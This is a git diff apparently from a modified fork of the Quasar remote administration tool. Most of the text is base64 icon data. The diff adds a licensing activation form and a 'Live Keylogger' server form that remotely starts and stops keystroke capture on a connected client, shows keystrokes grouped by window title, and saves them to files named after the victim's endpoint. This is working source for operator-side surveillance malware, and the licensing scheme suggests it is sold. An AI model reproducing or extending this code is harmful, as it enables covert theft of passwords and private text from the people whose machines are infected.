Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs new file mode 100755 index 0000000..1190e99 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs @@ -0,0 +1,108 @@ +namespace Quasar.Server.Forms +{ + partial class FrmLicense + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblHardwareID = new System.Windows.Forms.Label(); + this.txtHardwareID = new System.Windows.Forms.TextBox(); + this.lblBIN = new System.Windows.Forms.Label(); + this.txtBIN = new System.Windows.Forms.TextBox(); + this.btnActivate = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 14F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(80, 20); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(240, 25); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Quasar License Activation"; + // + // lblHardwareID + // + this.lblHardwareID.AutoSize = true; + this.lblHardwareID.Location = new System.Drawing.Point(30, 70); + this.lblHardwareID.Name = "lblHardwareID"; + this.lblHardwareID.Size = new System.Drawing.Size(78, 13); + this.lblHardwareID.TabIndex = 1; + this.lblHardwareID.Text = "Hardware ID:"; + // + // txtHardwareID + // + this.txtHardwareID.Location = new System.Drawing.Point(30, 90); + this.txtHardwareID.Name = "txtHardwareID"; + this.txtHardwareID.Size = new System.Drawing.Size(340, 22); + this.txtHardwareID.TabIndex = 2; + // + // lblBIN + // + this.lblBIN.AutoSize = true; + this.lblBIN.Location = new System.Drawing.Point(30, 130); + this.lblBIN.Name = "lblBIN"; + this.lblBIN.Size = new System.Drawing.Size(62, 13); + this.lblBIN.TabIndex = 3; + this.lblBIN.Text = "BIN Code:"; + // + // txtBIN + // + this.txtBIN.Location = new System.Drawing.Point(30, 150); + this.txtBIN.Name = "txtBIN"; + this.txtBIN.Size = new System.Drawing.Size(340, 22); + this.txtBIN.TabIndex = 4; + this.txtBIN.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBIN_KeyDown); + // + // btnActivate + // + this.btnActivate.Location = new System.Drawing.Point(130, 190); + this.btnActivate.Name = "btnActivate"; + this.btnActivate.Size = new System.Drawing.Size(140, 35); + this.btnActivate.TabIndex = 5; + this.btnActivate.Text = "Activate"; + this.btnActivate.UseVisualStyleBackColor = true; + this.btnActivate.Click += new System.EventHandler(this.btnActivate_Click); + // + // FrmLicense + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(400, 250); + this.Controls.Add(this.btnActivate); + this.Controls.Add(this.txtBIN); + this.Controls.Add(this.lblBIN); + this.Controls.Add(this.txtHardwareID); + this.Controls.Add(this.lblHardwareID); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmLicense"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane License"; + this.Load += new System.EventHandler(this.FrmLicense_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblHardwareID; + private System.Windows.Forms.TextBox txtHardwareID; + private System.Windows.Forms.Label lblBIN; + private System.Windows.Forms.TextBox txtBIN; + private System.Windows.Forms.Button btnActivate; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs new file mode 100755 index 0000000..0de7821 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs @@ -0,0 +1,96 @@ +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Licensing; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmLicense : Form + { + private string _hardwareID; + private const string LICENSE_FILE = "license.dat"; + + public FrmLicense() + { + InitializeComponent(); + _hardwareID = LicenseManager.GenerateHardwareID(); + } + + private void FrmLicense_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + txtHardwareID.Text = _hardwareID; + txtHardwareID.ReadOnly = true; + txtBIN.Focus(); + } + + private void btnActivate_Click(object sender, EventArgs e) + { + string enteredBIN = txtBIN.Text.Trim(); + + if (string.IsNullOrEmpty(enteredBIN)) + { + MessageBox.Show("Please enter a BIN code.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + if (LicenseManager.ValidateBIN(_hardwareID, enteredBIN)) + { + try + { + File.WriteAllText(LICENSE_FILE, $"{_hardwareID}|{enteredBIN}"); + MessageBox.Show("License activated successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.DialogResult = DialogResult.OK; + this.Close(); + } + catch (Exception ex) + { + MessageBox.Show($"Failed to save license: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + else + { + MessageBox.Show("Invalid BIN code. Please check and try again.", "Authentication Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + txtBIN.Clear(); + txtBIN.Focus(); + } + } + + private void txtBIN_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; + btnActivate_Click(sender, e); + } + } + + public static bool CheckLicense() + { + if (!File.Exists(LICENSE_FILE)) + return false; + + try + { + string[] parts = File.ReadAllText(LICENSE_FILE).Split('|'); + if (parts.Length != 2) + return false; + + string storedHardwareID = parts[0]; + string storedBIN = parts[1]; + + return LicenseManager.ValidateBIN(storedHardwareID, storedBIN); + } + catch + { + return false; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs new file mode 100755 index 0000000..051e36f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs @@ -0,0 +1,119 @@ +namespace Quasar.Server.Forms +{ + partial class FrmLiveKeylogger + { + private System.ComponentModel.IContainer components = null; + + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmLiveKeylogger)); + this.txtKeystrokes = new System.Windows.Forms.TextBox(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.btnSave = new System.Windows.Forms.Button(); + this.btnClear = new System.Windows.Forms.Button(); + this.lblStatus = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // txtKeystrokes + // + this.txtKeystrokes.BackColor = System.Drawing.SystemColors.Control; + this.txtKeystrokes.Font = new System.Drawing.Font("Segoe UI", 9F); + this.txtKeystrokes.ForeColor = System.Drawing.Color.White; + this.txtKeystrokes.Location = new System.Drawing.Point(16, 62); + this.txtKeystrokes.Margin = new System.Windows.Forms.Padding(4); + this.txtKeystrokes.Multiline = true; + this.txtKeystrokes.Name = "txtKeystrokes"; + this.txtKeystrokes.ReadOnly = true; + this.txtKeystrokes.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txtKeystrokes.Size = new System.Drawing.Size(745, 368); + this.txtKeystrokes.TabIndex = 0; + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(16, 15); + this.btnStart.Margin = new System.Windows.Forms.Padding(4); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(133, 37); + this.btnStart.TabIndex = 1; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(157, 15); + this.btnStop.Margin = new System.Windows.Forms.Padding(4); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(133, 37); + this.btnStop.TabIndex = 2; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnSave + // + this.btnSave.Location = new System.Drawing.Point(480, 15); + this.btnSave.Margin = new System.Windows.Forms.Padding(4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(133, 37); + this.btnSave.TabIndex = 3; + this.btnSave.Text = "Save to File"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // btnClear + // + this.btnClear.Location = new System.Drawing.Point(621, 15); + this.btnClear.Margin = new System.Windows.Forms.Padding(4); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(133, 37); + this.btnClear.TabIndex = 4; + this.btnClear.Text = "Clear"; + this.btnClear.UseVisualStyleBackColor = true; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // lblStatus + // + this.lblStatus.AutoSize = true; + this.lblStatus.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblStatus.ForeColor = System.Drawing.Color.Red; + this.lblStatus.Location = new System.Drawing.Point(320, 23); + this.lblStatus.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblStatus.Name = "lblStatus"; + this.lblStatus.Size = new System.Drawing.Size(119, 20); + this.lblStatus.TabIndex = 5; + this.lblStatus.Text = "Status: Stopped"; + // + // FrmLiveKeylogger + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(779, 455); + this.Controls.Add(this.lblStatus); + this.Controls.Add(this.btnClear); + this.Controls.Add(this.btnSave); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.btnStart); + this.Controls.Add(this.txtKeystrokes); + this.ForeColor = System.Drawing.Color.White; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.Name = "FrmLiveKeylogger"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Live Keylogger"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmLiveKeylogger_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + private System.Windows.Forms.TextBox txtKeystrokes; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Button btnClear; + private System.Windows.Forms.Label lblStatus; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs new file mode 100755 index 0000000..11c2be8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs @@ -0,0 +1,130 @@ +using Quasar.Common.Messages; +using Quasar.Server.Networking; +using System; +using System.IO; +using System.Text; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmLiveKeylogger : Form + { + private readonly Client _client; + private string _currentWindow = ""; + private readonly StringBuilder _logBuffer = new StringBuilder(); + + public FrmLiveKeylogger(Client client) + { + _client = client; + InitializeComponent(); + + this.Text = $"Live Keylogger - {client.EndPoint}"; + _client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Client client, bool connected) + { + if (!connected && client == _client) + { + this.Invoke((MethodInvoker)delegate + { + this.Close(); + }); + } + } + + public void AddKeystroke(string windowTitle, string keystroke) + { + if (this.InvokeRequired) + { + this.Invoke(new Action(() => AddKeystroke(windowTitle, keystroke))); + return; + } + + if (_currentWindow != windowTitle) + { + _currentWindow = windowTitle; + string header = $"\r\n\r\n### {windowTitle} - {DateTime.Now:yyyy-MM-dd HH:mm:ss} ###\r\n"; + txtKeystrokes.AppendText(header); + _logBuffer.Append(header); + } + + txtKeystrokes.AppendText(keystroke); + _logBuffer.Append(keystroke); + } + + private void btnStart_Click(object sender, EventArgs e) + { + _client.Send(new DoStartLiveKeylogger()); + btnStart.Enabled = false; + btnStop.Enabled = true; + lblStatus.Text = "Status: Recording..."; + lblStatus.ForeColor = System.Drawing.Color.Green; + } + + private void btnStop_Click(object sender, EventArgs e) + { + _client.Send(new DoStopLiveKeylogger()); + btnStart.Enabled = true; + btnStop.Enabled = false; + lblStatus.Text = "Status: Stopped"; + lblStatus.ForeColor = System.Drawing.Color.Red; + } + + + private void btnSave_Click(object sender, EventArgs e) + { + using (SaveFileDialog sfd = new SaveFileDialog()) + { + sfd.Filter = "Text Files (*.txt)|*.txt|All Files (*.*)|*.*"; + sfd.FileName = $"Keylog_{_client.EndPoint}_{DateTime.Now:yyyyMMdd_HHmmss}.txt"; + + if (sfd.ShowDialog() == DialogResult.OK) + { + try + { + File.WriteAllText(sfd.FileName, _logBuffer.ToString()); + MessageBox.Show($"Keylog saved successfully to:\n{sfd.FileName}", + "Save Successful", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Error saving file: {ex.Message}", + "Save Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void btnClear_Click(object sender, EventArgs e) + { + var result = MessageBox.Show("Are you sure you want to clear all keystrokes?", + "Confirm Clear", MessageBoxButtons.YesNo, MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + txtKeystrokes.Clear(); + _logBuffer.Clear(); + _currentWindow = ""; + } + } + + private void FrmLiveKeylogger_FormClosing(object sender, FormClosingEventArgs e) + { + if (btnStop.Enabled) + { + _client.Send(new DoStopLiveKeylogger()); + } + _client.ClientState -= OnClientStateChange; + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + } + base.Dispose(disposing); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + 